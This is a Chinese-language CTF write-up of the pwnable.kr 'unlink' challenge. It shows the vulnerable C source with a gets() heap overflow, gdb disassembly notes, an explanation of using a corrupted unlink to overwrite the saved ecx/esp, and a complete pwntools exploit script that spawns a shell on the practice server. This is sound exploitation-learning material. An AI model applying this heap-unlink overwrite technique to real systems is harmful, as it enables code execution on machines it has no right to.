题目源码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
对main程序进行反汇编(gdb)disas main
0x0804855d <+46>: mov %eax,-0x14(%ebp)
0x0804856d <+62>: mov %eax,-0xc(%ebp)
0x0804857d <+78>: mov %eax,-0x10(%ebp)
按顺序依次是 &A = ebp - 0x14 , &B = ebp - 0xc ,&C = ebp - 0x10
查看shell函数地址(gdb)disas shell
shell = 0x080484eb
要覆盖main返回地址,先看看函数最后
0x080485ff <+208>: mov -0x4(%ebp),%ecx //ecx = ebp-4
0x08048602 <+211>: leave //move esp,ebp pop ebp 对esp没影响
0x08048603 <+212>: lea -0x4(%ecx),%esp //esp = ecx-4
---Type <return> to continue, or q <return> to quit---return
0x08048606 <+215>: ret
ret指令相当于pop eip,该指令是可以控制程序运行流程的,流程的来源是esp指向的地址。
因此,就要覆盖esp达到调用任意函数的目的,就要改写ecx-4,要改写ecx就要改写ebp-4,而ebp在main中没有发生变化
gets()函数之后能进行写操作的只有unlink(),其中下面两条指令能对B的内容进行写操作
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
FD->bk=BK;
BK->fd=FD;
现在分析下OBJ结构体,fd是第一个变量,bk是第二个变量。OBJ->fd = OBJ , OBJ->bk = OBJ + 4,这是关键!!!!
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
因此,BK->fd = [BK] = FD , 也就是说,可以通过 [B->bk] = B->fd 也即 在bk的地址中填写fd 来实现改写寄存器的值
所以,我们要在B->fd中填写shell地址 + 4(因为最后esp = ecx - 4) ,B->bk中填写ebp-4也即ecx的地址,这样就能往ebp-4中改写成shell地址+4 --------> ebp -4 = ecx = shell -4 esp = ecx -4 = shell
from pwn import *
s=ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
cn=s.process('./unlink')
shell = 0x080484eb
cn.recvuntil("here is stack address leak: ")
stack = cn.recv(10)
stack = int(stack,16) #stack = ebp -0x14
cn.recvuntil("here is heap address leak: ")
heap = cn.recv(9)
heap = int(heap,16)
cn.recvuntil('now that you have leaks, get shell!\n')
# FD = B->fd; BK = B-> bk; BK->fd = [BK](according to the struct of OBJ) = FD
# BK->bk = [BK+4]
#so we can modify [B->bk] with B->fd
#payload = p32(shell)#heap + 8
#payload+= 'a'*12#left buf(4) + presize(4) + size(4)
#payload+= p32(heap + 12) # B->fd shell = heap+8 = ecx -4
#payload+= p32(stack+0x10)# B->bk ecx = ebp-4 = stack + 0x10
payload = 'a'*4 +p32(shell) + 'a'*8
payload+= p32(heap + 16) # B->fd shell = heap+12 = ecx -4
payload+= p32(stack+0x10)# B->bk ecx = ebp-4 = stack + 0x10 (ebp - 0x14 +0x10)
cn.sendline(payload)
cn.interactive()
cn.close()
参考文章:
http://www.cnblogs.com/p4nda/p/7172104.html
https://blog.csdn.net/qq_33528164/article/details/77061932